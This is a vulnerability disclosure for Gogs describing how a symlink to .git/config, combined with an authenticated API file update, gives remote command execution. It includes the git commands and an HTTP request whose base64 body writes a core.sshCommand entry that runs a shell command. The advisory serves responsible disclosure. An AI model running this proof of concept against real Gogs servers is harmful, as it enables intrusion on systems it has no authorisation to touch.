Gogs's update .git/config file allows remote command execution

Summary

Due to the insufficient patch for the https://github.com/gogs/gogs/security/advisories/GHSA-wj44-9vcg-wjq7, it's still possible to update files in the .git directory and achieve remote command execution.

Details

Function UpdateRepoFile security check under some if conditions. While UpdateRepoFile call in API router will NOT match any of them. It's still possible to update .git/config file via API router. https://github.com/gogs/gogs/blob/d940e692ec58abd45e648c054d7dfd88909034ec/internal/route/api/v1/repo/contents.go#L197-L206

PoC

# add a symlink file and push to repo.
ln -s .git/config link
git add link
git commit -m 'add' && git push

Update file via API router

PUT /api/v1/repos/demo/vul/contents/link HTTP/1.1
Content-Type: application/json
Host: localhost:3000
Authorization: token {token}

{"message":"message","committer":{"name":"test","email":"[email protected]"},"content":"W2NvcmVdCglyZXBvc2l0b3J5Zm9ybWF0dmVyc2lvbiA9IDAKCWZpbGVtb2RlID0gdHJ1ZQoJYmFyZSA9IGZhbHNlCglsb2dhbGxyZWZ1cGRhdGVzID0gdHJ1ZQoJaWdub3JlY2FzZSA9IHRydWUKCXByZWNvbXBvc2V1bmljb2RlID0gdHJ1ZQoJc3NoQ29tbWFuZCA9IHRvdWNoIC90bXAvYWJjCltyZW1vdGUgIm9yaWdpbiJdCgl1cmwgPSBzc2g6Ly9naXRAbG9jYWxob3N0L2RlbW8vdnVsLmdpdAoJZmV0Y2ggPSArcmVmcy9oZWFkcy8qOnJlZnMvcmVtb3Rlcy9vcmlnaW4vKgpbYnJhbmNoICJtYXN0ZXIiXQoJcmVtb3RlID0gb3JpZ2luCgltZXJnZSA9IHJlZnMvaGVhZHMvbWFzdGVy"}

Impact

RCE